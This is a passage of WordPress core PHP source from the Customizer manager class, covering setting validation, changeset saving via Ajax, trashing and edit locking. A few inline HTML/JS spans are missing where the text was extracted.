_deprecated_function( __FUNCTION__, '4.7.0' ); } /** * Prints CSS for loading indicators for the Customizer preview. * * @since 4.2.0 */ public function customize_preview_loading_style() { ?> messenger_channel ) { return; } ob_start(); ?> unsanitized_post_values( array( 'exclude_changeset' => true ) ); $setting_validities = $this->validate_setting_values( $post_values ); $exported_setting_validities = array_map( array( $this, 'prepare_setting_validity_for_js' ), $setting_validities ); // Note that the REQUEST_URI is not passed into home_url() since this breaks subdirectory installations. $self_url = empty( $_SERVER['REQUEST_URI'] ) ? home_url( '/' ) : sanitize_url( wp_unslash( $_SERVER['REQUEST_URI'] ) ); $state_query_params = array( 'customize_theme', 'customize_changeset_uuid', 'customize_messenger_channel', ); $self_url = remove_query_arg( $state_query_params, $self_url ); $allowed_urls = $this->get_allowed_urls(); $allowed_hosts = array(); foreach ( $allowed_urls as $allowed_url ) { $parsed = wp_parse_url( $allowed_url ); if ( empty( $parsed['host'] ) ) { continue; } $host = $parsed['host']; if ( ! empty( $parsed['port'] ) ) { $host .= ':' . $parsed['port']; } $allowed_hosts[] = $host; } $switched_locale = switch_to_user_locale( get_current_user_id() ); $l10n = array( 'shiftClickToEdit' => __( 'Shift-click to edit this element.' ), 'linkUnpreviewable' => __( 'This link is not live-previewable.' ), 'formUnpreviewable' => __( 'This form is not live-previewable.' ), ); if ( $switched_locale ) { restore_previous_locale(); } $settings = array( 'changeset' => array( 'uuid' => $this->changeset_uuid(), 'autosaved' => $this->autosaved(), ), 'timeouts' => array( 'selectiveRefresh' => 250, 'keepAliveSend' => 1000, ), 'theme' => array( 'stylesheet' => $this->get_stylesheet(), 'active' => $this->is_theme_active(), 'isBlockTheme' => wp_is_block_theme(), ), 'url' => array( 'self' => $self_url, 'allowed' => array_map( 'sanitize_url', $this->get_allowed_urls() ), 'allowedHosts' => array_unique( $allowed_hosts ), 'isCrossDomain' => $this->is_cross_domain(), ), 'channel' => $this->messenger_channel, 'activePanels' => array(), 'activeSections' => array(), 'activeControls' => array(), 'settingValidities' => $exported_setting_validities, 'nonce' => current_user_can( 'customize' ) ? $this->get_nonces() : array(), 'l10n' => $l10n, '_dirty' => array_keys( $post_values ), ); foreach ( $this->panels as $panel_id => $panel ) { if ( $panel->check_capabilities() ) { $settings['activePanels'][ $panel_id ] = $panel->active(); foreach ( $panel->sections as $section_id => $section ) { if ( $section->check_capabilities() ) { $settings['activeSections'][ $section_id ] = $section->active(); } } } } foreach ( $this->sections as $id => $section ) { if ( $section->check_capabilities() ) { $settings['activeSections'][ $id ] = $section->active(); } } foreach ( $this->controls as $id => $control ) { if ( $control->check_capabilities() ) { $settings['activeControls'][ $id ] = $control->active(); } } ob_start(); ?> previewing; } /** * Retrieves the template name of the previewed theme. * * @since 3.4.0 * * @return string Template name. */ public function get_template() { return $this->theme()->get_template(); } /** * Retrieves the stylesheet name of the previewed theme. * * @since 3.4.0 * * @return string Stylesheet name. */ public function get_stylesheet() { return $this->theme()->get_stylesheet(); } /** * Retrieves the template root of the previewed theme. * * @since 3.4.0 * * @return string Theme root. */ public function get_template_root() { return get_raw_theme_root( $this->get_template(), true ); } /** * Retrieves the stylesheet root of the previewed theme. * * @since 3.4.0 * * @return string Theme root. */ public function get_stylesheet_root() { return get_raw_theme_root( $this->get_stylesheet(), true ); } /** * Filters the active theme and return the name of the previewed theme. * * @since 3.4.0 * * @param mixed $current_theme {@internal Parameter is not used} * @return string Theme name. */ public function current_theme( $current_theme ) { return $this->theme()->display( 'Name' ); } /** * Validates setting values. * * Validation is skipped for unregistered settings or for values that are * already null since they will be skipped anyway. Sanitization is applied * to values that pass validation, and values that become null or `WP_Error` * after sanitizing are marked invalid. * * @since 4.6.0 * * @see WP_REST_Request::has_valid_params() * @see WP_Customize_Setting::validate() * * @param array $setting_values Mapping of setting IDs to values to validate and sanitize. * @param array $options { * Options. * * @type bool $validate_existence Whether a setting's existence will be checked. * @type bool $validate_capability Whether the setting capability will be checked. * } * @return array Mapping of setting IDs to return value of validate method calls, either `true` or `WP_Error`. */ public function validate_setting_values( $setting_values, $options = array() ) { $options = wp_parse_args( $options, array( 'validate_capability' => false, 'validate_existence' => false, ) ); $validities = array(); foreach ( $setting_values as $setting_id => $unsanitized_value ) { $setting = $this->get_setting( $setting_id ); if ( ! $setting ) { if ( $options['validate_existence'] ) { $validities[ $setting_id ] = new WP_Error( 'unrecognized', __( 'Setting does not exist or is unrecognized.' ) ); } continue; } if ( $options['validate_capability'] && ! current_user_can( $setting->capability ) ) { $validity = new WP_Error( 'unauthorized', __( 'Unauthorized to modify setting due to capability.' ) ); } else { if ( is_null( $unsanitized_value ) ) { continue; } $validity = $setting->validate( $unsanitized_value ); } if ( ! is_wp_error( $validity ) ) { /** This filter is documented in wp-includes/class-wp-customize-setting.php */ $late_validity = apply_filters( "customize_validate_{$setting->id}", new WP_Error(), $unsanitized_value, $setting ); if ( is_wp_error( $late_validity ) && $late_validity->has_errors() ) { $validity = $late_validity; } } if ( ! is_wp_error( $validity ) ) { $value = $setting->sanitize( $unsanitized_value ); if ( is_null( $value ) ) { $validity = false; } elseif ( is_wp_error( $value ) ) { $validity = $value; } } if ( false === $validity ) { $validity = new WP_Error( 'invalid_value', __( 'Invalid value.' ) ); } $validities[ $setting_id ] = $validity; } return $validities; } /** * Prepares setting validity for exporting to the client (JS). * * Converts `WP_Error` instance into array suitable for passing into the * `wp.customize.Notification` JS model. * * @since 4.6.0 * * @param true|WP_Error $validity Setting validity. * @return true|array If `$validity` was a WP_Error, the error codes will be array-mapped * to their respective `message` and `data` to pass into the * `wp.customize.Notification` JS model. */ public function prepare_setting_validity_for_js( $validity ) { if ( is_wp_error( $validity ) ) { $notification = array(); foreach ( $validity->errors as $error_code => $error_messages ) { $notification[ $error_code ] = array( 'message' => implode( ' ', $error_messages ), 'data' => $validity->get_error_data( $error_code ), ); } return $notification; } else { return true; } } /** * Handles customize_save WP Ajax request to save/update a changeset. * * @since 3.4.0 * @since 4.7.0 The semantics of this method have changed to update a changeset, optionally to also change the status and other attributes. */ public function save() { if ( ! is_user_logged_in() ) { wp_send_json_error( 'unauthenticated' ); } if ( ! $this->is_preview() ) { wp_send_json_error( 'not_preview' ); } $action = 'save-customize_' . $this->get_stylesheet(); if ( ! check_ajax_referer( $action, 'nonce', false ) ) { wp_send_json_error( 'invalid_nonce' ); } $changeset_post_id = $this->changeset_post_id(); $is_new_changeset = empty( $changeset_post_id ); if ( $is_new_changeset ) { if ( ! current_user_can( get_post_type_object( 'customize_changeset' )->cap->create_posts ) ) { wp_send_json_error( 'cannot_create_changeset_post' ); } } else { if ( ! current_user_can( get_post_type_object( 'customize_changeset' )->cap->edit_post, $changeset_post_id ) ) { wp_send_json_error( 'cannot_edit_changeset_post' ); } } if ( ! empty( $_POST['customize_changeset_data'] ) ) { $input_changeset_data = json_decode( wp_unslash( $_POST['customize_changeset_data'] ), true ); if ( ! is_array( $input_changeset_data ) ) { wp_send_json_error( 'invalid_customize_changeset_data' ); } } else { $input_changeset_data = array(); } // Validate title. $changeset_title = null; if ( isset( $_POST['customize_changeset_title'] ) ) { $changeset_title = sanitize_text_field( wp_unslash( $_POST['customize_changeset_title'] ) ); } // Validate changeset status param. $is_publish = null; $changeset_status = null; if ( isset( $_POST['customize_changeset_status'] ) ) { $changeset_status = wp_unslash( $_POST['customize_changeset_status'] ); if ( ! get_post_status_object( $changeset_status ) || ! in_array( $changeset_status, array( 'draft', 'pending', 'publish', 'future' ), true ) ) { wp_send_json_error( 'bad_customize_changeset_status', 400 ); } $is_publish = ( 'publish' === $changeset_status || 'future' === $changeset_status ); if ( $is_publish && ! current_user_can( get_post_type_object( 'customize_changeset' )->cap->publish_posts ) ) { wp_send_json_error( 'changeset_publish_unauthorized', 403 ); } } /* * Validate changeset date param. Date is assumed to be in local time for * the WP if in MySQL format (YYYY-MM-DD HH:MM:SS). Otherwise, the date * is parsed with strtotime() so that ISO date format may be supplied * or a string like "+10 minutes". */ $changeset_date_gmt = null; if ( isset( $_POST['customize_changeset_date'] ) ) { $changeset_date = wp_unslash( $_POST['customize_changeset_date'] ); if ( preg_match( '/^\d\d\d\d-\d\d-\d\d \d\d:\d\d:\d\d$/', $changeset_date ) ) { $mm = substr( $changeset_date, 5, 2 ); $jj = substr( $changeset_date, 8, 2 ); $aa = substr( $changeset_date, 0, 4 ); $valid_date = wp_checkdate( $mm, $jj, $aa, $changeset_date ); if ( ! $valid_date ) { wp_send_json_error( 'bad_customize_changeset_date', 400 ); } $changeset_date_gmt = get_gmt_from_date( $changeset_date ); } else { $timestamp = strtotime( $changeset_date ); if ( ! $timestamp ) { wp_send_json_error( 'bad_customize_changeset_date', 400 ); } $changeset_date_gmt = gmdate( 'Y-m-d H:i:s', $timestamp ); } } $lock_user_id = null; $autosave = ! empty( $_POST['customize_changeset_autosave'] ); if ( ! $is_new_changeset ) { $lock_user_id = wp_check_post_lock( $this->changeset_post_id() ); } // Force request to autosave when changeset is locked. if ( $lock_user_id && ! $autosave ) { $autosave = true; $changeset_status = null; $changeset_date_gmt = null; } if ( $autosave && ! defined( 'DOING_AUTOSAVE' ) ) { // Back-compat. define( 'DOING_AUTOSAVE', true ); } $autosaved = false; $r = $this->save_changeset_post( array( 'status' => $changeset_status, 'title' => $changeset_title, 'date_gmt' => $changeset_date_gmt, 'data' => $input_changeset_data, 'autosave' => $autosave, ) ); if ( $autosave && ! is_wp_error( $r ) ) { $autosaved = true; } // If the changeset was locked and an autosave request wasn't itself an error, then now explicitly return with a failure. if ( $lock_user_id && ! is_wp_error( $r ) ) { $r = new WP_Error( 'changeset_locked', __( 'Changeset is being edited by other user.' ), array( 'lock_user' => $this->get_lock_user_data( $lock_user_id ), ) ); } if ( is_wp_error( $r ) ) { $response = array( 'message' => $r->get_error_message(), 'code' => $r->get_error_code(), ); if ( is_array( $r->get_error_data() ) ) { $response = array_merge( $response, $r->get_error_data() ); } else { $response['data'] = $r->get_error_data(); } } else { $response = $r; $changeset_post = get_post( $this->changeset_post_id() ); // Dismiss all other auto-draft changeset posts for this user (they serve like autosave revisions), as there should only be one. if ( $is_new_changeset ) { $this->dismiss_user_auto_draft_changesets(); } // Note that if the changeset status was publish, then it will get set to Trash if revisions are not supported. $response['changeset_status'] = $changeset_post->post_status; if ( $is_publish && 'trash' === $response['changeset_status'] ) { $response['changeset_status'] = 'publish'; } if ( 'publish' !== $response['changeset_status'] ) { $this->set_changeset_lock( $changeset_post->ID ); } if ( 'future' === $response['changeset_status'] ) { $response['changeset_date'] = $changeset_post->post_date; } if ( 'publish' === $response['changeset_status'] || 'trash' === $response['changeset_status'] ) { $response['next_changeset_uuid'] = wp_generate_uuid4(); } } if ( $autosave ) { $response['autosaved'] = $autosaved; } if ( isset( $response['setting_validities'] ) ) { $response['setting_validities'] = array_map( array( $this, 'prepare_setting_validity_for_js' ), $response['setting_validities'] ); } /** * Filters response data for a successful customize_save Ajax request. * * This filter does not apply if there was a nonce or authentication failure. * * @since 4.2.0 * * @param array $response Additional information passed back to the 'saved' * event on `wp.customize`. * @param WP_Customize_Manager $manager WP_Customize_Manager instance. */ $response = apply_filters( 'customize_save_response', $response, $this ); if ( is_wp_error( $r ) ) { wp_send_json_error( $response ); } else { wp_send_json_success( $response ); } } /** * Saves the post for the loaded changeset. * * @since 4.7.0 * * @param array $args { * Args for changeset post. * * @type array $data Optional additional changeset data. Values will be merged on top of any existing post values. * @type string $status Post status. Optional. If supplied, the save will be transactional and a post revision will be allowed. * @type string $title Post title. Optional. * @type string $date_gmt Date in GMT. Optional. * @type int $user_id ID for user who is saving the changeset. Optional, defaults to the current user ID. * @type bool $starter_content Whether the data is starter content. If false (default), then $starter_content will be cleared for any $data being saved. * @type bool $autosave Whether this is a request to create an autosave revision. * } * * @return array|WP_Error Returns array on success and WP_Error with array data on error. */ public function save_changeset_post( $args = array() ) { $args = array_merge( array( 'status' => null, 'title' => null, 'data' => array(), 'date_gmt' => null, 'user_id' => get_current_user_id(), 'starter_content' => false, 'autosave' => false, ), $args ); $changeset_post_id = $this->changeset_post_id(); $existing_changeset_data = array(); if ( $changeset_post_id ) { $existing_status = get_post_status( $changeset_post_id ); if ( 'publish' === $existing_status || 'trash' === $existing_status ) { return new WP_Error( 'changeset_already_published', __( 'The previous set of changes has already been published. Please try saving your current set of changes again.' ), array( 'next_changeset_uuid' => wp_generate_uuid4(), ) ); } $existing_changeset_data = $this->get_changeset_post_data( $changeset_post_id ); if ( is_wp_error( $existing_changeset_data ) ) { return $existing_changeset_data; } } // Fail if attempting to publish but publish hook is missing. if ( 'publish' === $args['status'] && false === has_action( 'transition_post_status', '_wp_customize_publish_changeset' ) ) { return new WP_Error( 'missing_publish_callback' ); } // Validate date. $now = gmdate( 'Y-m-d H:i:59' ); if ( $args['date_gmt'] ) { $is_future_dated = ( mysql2date( 'U', $args['date_gmt'], false ) > mysql2date( 'U', $now, false ) ); if ( ! $is_future_dated ) { return new WP_Error( 'not_future_date', __( 'You must supply a future date to schedule.' ) ); // Only future dates are allowed. } if ( ! $this->is_theme_active() && ( 'future' === $args['status'] || $is_future_dated ) ) { return new WP_Error( 'cannot_schedule_theme_switches' ); // This should be allowed in the future, when theme is a regular setting. } $will_remain_auto_draft = ( ! $args['status'] && ( ! $changeset_post_id || 'auto-draft' === get_post_status( $changeset_post_id ) ) ); if ( $will_remain_auto_draft ) { return new WP_Error( 'cannot_supply_date_for_auto_draft_changeset' ); } } elseif ( $changeset_post_id && 'future' === $args['status'] ) { // Fail if the new status is future but the existing post's date is not in the future. $changeset_post = get_post( $changeset_post_id ); if ( mysql2date( 'U', $changeset_post->post_date_gmt, false ) <= mysql2date( 'U', $now, false ) ) { return new WP_Error( 'not_future_date', __( 'You must supply a future date to schedule.' ) ); } } if ( ! empty( $is_future_dated ) && 'publish' === $args['status'] ) { $args['status'] = 'future'; } // Validate autosave param. See _wp_post_revision_fields() for why these fields are disallowed. if ( $args['autosave'] ) { if ( $args['date_gmt'] ) { return new WP_Error( 'illegal_autosave_with_date_gmt' ); } elseif ( $args['status'] ) { return new WP_Error( 'illegal_autosave_with_status' ); } elseif ( $args['user_id'] && get_current_user_id() !== $args['user_id'] ) { return new WP_Error( 'illegal_autosave_with_non_current_user' ); } } // The request was made via wp.customize.previewer.save(). $update_transactionally = (bool) $args['status']; $allow_revision = (bool) $args['status']; // Amend post values with any supplied data. foreach ( $args['data'] as $setting_id => $setting_params ) { if ( is_array( $setting_params ) && array_key_exists( 'value', $setting_params ) ) { $this->set_post_value( $setting_id, $setting_params['value'] ); // Add to post values so that they can be validated and sanitized. } } // Note that in addition to post data, this will include any stashed theme mods. $post_values = $this->unsanitized_post_values( array( 'exclude_changeset' => true, 'exclude_post_data' => false, ) ); $this->add_dynamic_settings( array_keys( $post_values ) ); // Ensure settings get created even if they lack an input value. /* * Get list of IDs for settings that have values different from what is currently * saved in the changeset. By skipping any values that are already the same, the * subset of changed settings can be passed into validate_setting_values to prevent * an underprivileged modifying a single setting for which they have the capability * from being blocked from saving. This also prevents a user from touching of the * previous saved settings and overriding the associated user_id if they made no change. */ $changed_setting_ids = array(); foreach ( $post_values as $setting_id => $setting_value ) { $setting = $this->get_setting( $setting_id ); if ( $setting && 'theme_mod' === $setting->type ) { $prefixed_setting_id = $this->get_stylesheet() . '::' . $setting->id; } else { $prefixed_setting_id = $setting_id; } $is_value_changed = ( ! isset( $existing_changeset_data[ $prefixed_setting_id ] ) || ! array_key_exists( 'value', $existing_changeset_data[ $prefixed_setting_id ] ) || $existing_changeset_data[ $prefixed_setting_id ]['value'] !== $setting_value ); if ( $is_value_changed ) { $changed_setting_ids[] = $setting_id; } } /** * Fires before save validation happens. * * Plugins can add just-in-time {@see 'customize_validate_{$this->ID}'} filters * at this point to catch any settings registered after `customize_register`. * The dynamic portion of the hook name, `$this->ID` refers to the setting ID. * * @since 4.6.0 * * @param WP_Customize_Manager $manager WP_Customize_Manager instance. */ do_action( 'customize_save_validation_before', $this ); // Validate settings. $validated_values = array_merge( array_fill_keys( array_keys( $args['data'] ), null ), // Make sure existence/capability checks are done on value-less setting updates. $post_values ); $setting_validities = $this->validate_setting_values( $validated_values, array( 'validate_capability' => true, 'validate_existence' => true, ) ); $invalid_setting_count = count( array_filter( $setting_validities, 'is_wp_error' ) ); /* * Short-circuit if there are invalid settings the update is transactional. * A changeset update is transactional when a status is supplied in the request. */ if ( $update_transactionally && $invalid_setting_count > 0 ) { $response = array( 'setting_validities' => $setting_validities, /* translators: %s: Number of invalid settings. */ 'message' => sprintf( _n( 'Unable to save due to %s invalid setting.', 'Unable to save due to %s invalid settings.', $invalid_setting_count ), number_format_i18n( $invalid_setting_count ) ), ); return new WP_Error( 'transaction_fail', '', $response ); } // Obtain/merge data for changeset. $original_changeset_data = $this->get_changeset_post_data( $changeset_post_id ); $data = $original_changeset_data; if ( is_wp_error( $data ) ) { $data = array(); } // Ensure that all post values are included in the changeset data. foreach ( $post_values as $setting_id => $post_value ) { if ( ! isset( $args['data'][ $setting_id ] ) ) { $args['data'][ $setting_id ] = array(); } if ( ! isset( $args['data'][ $setting_id ]['value'] ) ) { $args['data'][ $setting_id ]['value'] = $post_value; } } foreach ( $args['data'] as $setting_id => $setting_params ) { $setting = $this->get_setting( $setting_id ); if ( ! $setting || ! $setting->check_capabilities() ) { continue; } // Skip updating changeset for invalid setting values. if ( isset( $setting_validities[ $setting_id ] ) && is_wp_error( $setting_validities[ $setting_id ] ) ) { continue; } $changeset_setting_id = $setting_id; if ( 'theme_mod' === $setting->type ) { $changeset_setting_id = sprintf( '%s::%s', $this->get_stylesheet(), $setting_id ); } if ( null === $setting_params ) { // Remove setting from changeset entirely. unset( $data[ $changeset_setting_id ] ); } else { if ( ! isset( $data[ $changeset_setting_id ] ) ) { $data[ $changeset_setting_id ] = array(); } // Merge any additional setting params that have been supplied with the existing params. $merged_setting_params = array_merge( $data[ $changeset_setting_id ], $setting_params ); // Skip updating setting params if unchanged (ensuring the user_id is not overwritten). if ( $data[ $changeset_setting_id ] === $merged_setting_params ) { continue; } $data[ $changeset_setting_id ] = array_merge( $merged_setting_params, array( 'type' => $setting->type, 'user_id' => $args['user_id'], 'date_modified_gmt' => current_time( 'mysql', true ), ) ); // Clear starter_content flag in data if changeset is not explicitly being updated for starter content. if ( empty( $args['starter_content'] ) ) { unset( $data[ $changeset_setting_id ]['starter_content'] ); } } } $filter_context = array( 'uuid' => $this->changeset_uuid(), 'title' => $args['title'], 'status' => $args['status'], 'date_gmt' => $args['date_gmt'], 'post_id' => $changeset_post_id, 'previous_data' => is_wp_error( $original_changeset_data ) ? array() : $original_changeset_data, 'manager' => $this, ); /** * Filters the settings' data that will be persisted into the changeset. * * Plugins may amend additional data (such as additional meta for settings) into the changeset with this filter. * * @since 4.7.0 * * @param array $data Updated changeset data, mapping setting IDs to arrays containing a $value item and optionally other metadata. * @param array $context { * Filter context. * * @type string $uuid Changeset UUID. * @type string $title Requested title for the changeset post. * @type string $status Requested status for the changeset post. * @type string $date_gmt Requested date for the changeset post in MySQL format and GMT timezone. * @type int|false $post_id Post ID for the changeset, or false if it doesn't exist yet. * @type array $previous_data Previous data contained in the changeset. * @type WP_Customize_Manager $manager Manager instance. * } */ $data = apply_filters( 'customize_changeset_save_data', $data, $filter_context ); // Switch theme if publishing changes now. if ( 'publish' === $args['status'] && ! $this->is_theme_active() ) { // Temporarily stop previewing the theme to allow switch_themes() to operate properly. $this->stop_previewing_theme(); switch_theme( $this->get_stylesheet() ); update_option( 'theme_switched_via_customizer', true ); $this->start_previewing_theme(); } // Gather the data for wp_insert_post()/wp_update_post(). $post_array = array( // JSON_UNESCAPED_SLASHES is only to improve readability as slashes needn't be escaped in storage. 'post_content' => wp_json_encode( $data, JSON_UNESCAPED_SLASHES | JSON_PRETTY_PRINT ), ); if ( $args['title'] ) { $post_array['post_title'] = $args['title']; } if ( $changeset_post_id ) { $post_array['ID'] = $changeset_post_id; } else { $post_array['post_type'] = 'customize_changeset'; $post_array['post_name'] = $this->changeset_uuid(); $post_array['post_status'] = 'auto-draft'; } if ( $args['status'] ) { $post_array['post_status'] = $args['status']; } // Reset post date to now if we are publishing, otherwise pass post_date_gmt and translate for post_date. if ( 'publish' === $args['status'] ) { $post_array['post_date_gmt'] = '0000-00-00 00:00:00'; $post_array['post_date'] = '0000-00-00 00:00:00'; } elseif ( $args['date_gmt'] ) { $post_array['post_date_gmt'] = $args['date_gmt']; $post_array['post_date'] = get_date_from_gmt( $args['date_gmt'] ); } elseif ( $changeset_post_id && 'auto-draft' === get_post_status( $changeset_post_id ) ) { /* * Keep bumping the date for the auto-draft whenever it is modified; * this extends its life, preserving it from garbage-collection via * wp_delete_auto_drafts(). */ $post_array['post_date'] = current_time( 'mysql' ); $post_array['post_date_gmt'] = ''; } $this->store_changeset_revision = $allow_revision; add_filter( 'wp_save_post_revision_post_has_changed', array( $this, '_filter_revision_post_has_changed' ), 5, 3 ); /* * Update the changeset post. The publish_customize_changeset action will cause the settings in the * changeset to be saved via WP_Customize_Setting::save(). Updating a post with publish status will * trigger WP_Customize_Manager::publish_changeset_values(). */ add_filter( 'wp_insert_post_data', array( $this, 'preserve_insert_changeset_post_content' ), 5, 3 ); if ( $changeset_post_id ) { if ( $args['autosave'] && 'auto-draft' !== get_post_status( $changeset_post_id ) ) { // See _wp_translate_postdata() for why this is required as it will use the edit_post meta capability. add_filter( 'map_meta_cap', array( $this, 'grant_edit_post_capability_for_changeset' ), 10, 4 ); $post_array['post_ID'] = $post_array['ID']; $post_array['post_type'] = 'customize_changeset'; $r = wp_create_post_autosave( wp_slash( $post_array ) ); remove_filter( 'map_meta_cap', array( $this, 'grant_edit_post_capability_for_changeset' ), 10 ); } else { $post_array['edit_date'] = true; // Prevent date clearing. $r = wp_update_post( wp_slash( $post_array ), true ); // Delete autosave revision for user when the changeset is updated. if ( ! empty( $args['user_id'] ) ) { $autosave_draft = wp_get_post_autosave( $changeset_post_id, $args['user_id'] ); if ( $autosave_draft ) { wp_delete_post( $autosave_draft->ID, true ); } } } } else { $r = wp_insert_post( wp_slash( $post_array ), true ); if ( ! is_wp_error( $r ) ) { $this->_changeset_post_id = $r; // Update cached post ID for the loaded changeset. } } remove_filter( 'wp_insert_post_data', array( $this, 'preserve_insert_changeset_post_content' ), 5 ); $this->_changeset_data = null; // Reset so WP_Customize_Manager::changeset_data() will re-populate with updated contents. remove_filter( 'wp_save_post_revision_post_has_changed', array( $this, '_filter_revision_post_has_changed' ) ); $response = array( 'setting_validities' => $setting_validities, ); if ( is_wp_error( $r ) ) { $response['changeset_post_save_failure'] = $r->get_error_code(); return new WP_Error( 'changeset_post_save_failure', '', $response ); } return $response; } /** * Preserves the initial JSON post_content passed to save into the post. * * This is needed to prevent KSES and other {@see 'content_save_pre'} filters * from corrupting JSON data. * * Note that WP_Customize_Manager::validate_setting_values() have already * run on the setting values being serialized as JSON into the post content * so it is pre-sanitized. * * Also, the sanitization logic is re-run through the respective * WP_Customize_Setting::sanitize() method when being read out of the * changeset, via WP_Customize_Manager::post_value(), and this sanitized * value will also be sent into WP_Customize_Setting::update() for * persisting to the DB. * * Multiple users can collaborate on a single changeset, where one user may * have the unfiltered_html capability but another may not. A user with * unfiltered_html may add a script tag to some field which needs to be kept * intact even when another user updates the changeset to modify another field * when they do not have unfiltered_html. * * @since 5.4.1 * * @param array $data An array of slashed and processed post data. * @param array $postarr An array of sanitized (and slashed) but otherwise unmodified post data. * @param array $unsanitized_postarr An array of slashed yet *unsanitized* and unprocessed post data as originally passed to wp_insert_post(). * @return array Filtered post data. */ public function preserve_insert_changeset_post_content( $data, $postarr, $unsanitized_postarr ) { if ( isset( $data['post_type'] ) && isset( $unsanitized_postarr['post_content'] ) && 'customize_changeset' === $data['post_type'] || ( 'revision' === $data['post_type'] && ! empty( $data['post_parent'] ) && 'customize_changeset' === get_post_type( $data['post_parent'] ) ) ) { $data['post_content'] = $unsanitized_postarr['post_content']; } return $data; } /** * Trashes or deletes a changeset post. * * The following re-formulates the logic from `wp_trash_post()` as done in * `wp_publish_post()`. The reason for bypassing `wp_trash_post()` is that it * will mutate the the `post_content` and the `post_name` when they should be * untouched. * * @since 4.9.0 * * @see wp_trash_post() * @global wpdb $wpdb WordPress database abstraction object. * * @param int|WP_Post $post The changeset post. * @return mixed A WP_Post object for the trashed post or an empty value on failure. */ public function trash_changeset_post( $post ) { global $wpdb; $post = get_post( $post ); if ( ! ( $post instanceof WP_Post ) ) { return $post; } $post_id = $post->ID; if ( ! EMPTY_TRASH_DAYS ) { return wp_delete_post( $post_id, true ); } if ( 'trash' === get_post_status( $post ) ) { return false; } $previous_status = $post->post_status; /** This filter is documented in wp-includes/post.php */ $check = apply_filters( 'pre_trash_post', null, $post, $previous_status ); if ( null !== $check ) { return $check; } /** This action is documented in wp-includes/post.php */ do_action( 'wp_trash_post', $post_id, $previous_status ); add_post_meta( $post_id, '_wp_trash_meta_status', $previous_status ); add_post_meta( $post_id, '_wp_trash_meta_time', time() ); $new_status = 'trash'; $wpdb->update( $wpdb->posts, array( 'post_status' => $new_status ), array( 'ID' => $post->ID ) ); clean_post_cache( $post->ID ); $post->post_status = $new_status; wp_transition_post_status( $new_status, $previous_status, $post ); /** This action is documented in wp-includes/post.php */ do_action( "edit_post_{$post->post_type}", $post->ID, $post ); /** This action is documented in wp-includes/post.php */ do_action( 'edit_post', $post->ID, $post ); /** This action is documented in wp-includes/post.php */ do_action( "save_post_{$post->post_type}", $post->ID, $post, true ); /** This action is documented in wp-includes/post.php */ do_action( 'save_post', $post->ID, $post, true ); /** This action is documented in wp-includes/post.php */ do_action( 'wp_insert_post', $post->ID, $post, true ); wp_after_insert_post( get_post( $post_id ), true, $post ); wp_trash_post_comments( $post_id ); /** This action is documented in wp-includes/post.php */ do_action( 'trashed_post', $post_id, $previous_status ); return $post; } /** * Handles request to trash a changeset. * * @since 4.9.0 */ public function handle_changeset_trash_request() { if ( ! is_user_logged_in() ) { wp_send_json_error( 'unauthenticated' ); } if ( ! $this->is_preview() ) { wp_send_json_error( 'not_preview' ); } if ( ! check_ajax_referer( 'trash_customize_changeset', 'nonce', false ) ) { wp_send_json_error( array( 'code' => 'invalid_nonce', 'message' => __( 'There was an authentication problem. Please reload and try again.' ), ) ); } $changeset_post_id = $this->changeset_post_id(); if ( ! $changeset_post_id ) { wp_send_json_error( array( 'message' => __( 'No changes saved yet, so there is nothing to trash.' ), 'code' => 'non_existent_changeset', ) ); return; } if ( ! current_user_can( get_post_type_object( 'customize_changeset' )->cap->delete_post, $changeset_post_id ) ) { wp_send_json_error( array( 'code' => 'changeset_trash_unauthorized', 'message' => __( 'Unable to trash changes.' ), ) ); } $lock_user = (int) wp_check_post_lock( $changeset_post_id ); if ( $lock_user && get_current_user_id() !== $lock_user ) { wp_send_json_error( array( 'code' => 'changeset_locked', 'message' => __( 'Changeset is being edited by other user.' ), 'lockUser' => $this->get_lock_user_data( $lock_user ), ) ); } if ( 'trash' === get_post_status( $changeset_post_id ) ) { wp_send_json_error( array( 'message' => __( 'Changes have already been trashed.' ), 'code' => 'changeset_already_trashed', ) ); return; } $r = $this->trash_changeset_post( $changeset_post_id ); if ( ! ( $r instanceof WP_Post ) ) { wp_send_json_error( array( 'code' => 'changeset_trash_failure', 'message' => __( 'Unable to trash changes.' ), ) ); } wp_send_json_success( array( 'message' => __( 'Changes trashed successfully.' ), ) ); } /** * Re-maps 'edit_post' meta cap for a customize_changeset post to be the same as 'customize' maps. * * There is essentially a "meta meta" cap in play here, where 'edit_post' meta cap maps to * the 'customize' meta cap which then maps to 'edit_theme_options'. This is currently * required in core for `wp_create_post_autosave()` because it will call * `_wp_translate_postdata()` which in turn will check if a user can 'edit_post', but the * the caps for the customize_changeset post type are all mapping to the meta capability. * This should be able to be removed once #40922 is addressed in core. * * @since 4.9.0 * * @link https://core.trac.wordpress.org/ticket/40922 * @see WP_Customize_Manager::save_changeset_post() * @see _wp_translate_postdata() * * @param string[] $caps Array of the user's capabilities. * @param string $cap Capability name. * @param int $user_id The user ID. * @param array $args Adds the context to the cap. Typically the object ID. * @return array Capabilities. */ public function grant_edit_post_capability_for_changeset( $caps, $cap, $user_id, $args ) { if ( 'edit_post' === $cap && ! empty( $args[0] ) && 'customize_changeset' === get_post_type( $args[0] ) ) { $post_type_obj = get_post_type_object( 'customize_changeset' ); $caps = map_meta_cap( $post_type_obj->cap->$cap, $user_id ); } return $caps; } /** * Marks the changeset post as being currently edited by the current user. * * @since 4.9.0 * * @param int $changeset_post_id Changeset post ID. * @param bool $take_over Whether to take over the changeset. Default false. */ public function set_changeset_lock( $changeset_post_id, $take_over = false ) { if ( $changeset_post_id ) { $can_override = ! (bool) get_post_meta( $changeset_post_id, '_edit_lock', true ); if ( $take_over ) { $can_override = true; } if ( $can_override ) { $lock = sprintf( '%s:%s', time(), get_current_user_id() ); update_post_meta( $changeset_post_id, '_edit_lock', $lock ); } else { $this->refresh_changeset_lock( $changeset_post_id ); } } } /** * Refreshes changeset lock with the current time if current user edited the changeset before. * * @since 4.9.0 * * @param int $changeset_post_id Changeset post ID. */ public function refresh_changeset_lock( $changeset_post_id ) { if ( ! $changeset_post_id ) { return; } $lock = get_post_meta( $changeset_post_id, '_edit_lock', true ); $lock = explode( ':', $lock ); if ( $lock && ! empty( $lock[1] ) ) { $user_id = (int) $lock[1]; $current_user_id = get_current_user_id(); if ( $user_id === $current_user_id ) { $lock = sprintf( '%s:%s', time(), $user_id ); update_post_meta( $changeset_post_id, '_edit_lock', $lock ); } } } /** * Filters heartbeat settings for the Customizer. * * @since 4.9.0 * * @global string $pagenow The filename of the current screen. * * @param array $settings Current settings to filter. * @return array Heartbeat settings. */ public function add_customize_screen_to_heartbeat_settings( 